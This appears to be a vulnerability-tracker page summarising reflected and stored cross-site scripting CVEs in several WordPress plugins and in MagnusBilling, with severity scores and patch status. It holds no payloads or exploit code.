The Gotcha | Gesture-based Captcha plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'menu' parameter in all versions up to, and including, 1.0.0 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Easy Custom Admin Bar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘msg’ parameter in all versions up to, and including, 1.0 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

The CryoKey plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘ckemail’ parameter in all versions up to, and including, 2.4 due to insufficient input sanitization and. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Newsletters plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the "to" parameter in all versions up to, and including, 4.9.9.7 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Newsletters
NVD
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling (Alarm Module modules) allows authenticated stored cross-site scripting. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

PHP XSS Magnusbilling
NVD GitHub VulDB
EPSS 6% CVSS 6.1
MEDIUM POC PATCH This Month

Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log. Rated high severity (CVSS 8.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Magnusbilling
NVD GitHub VulDB
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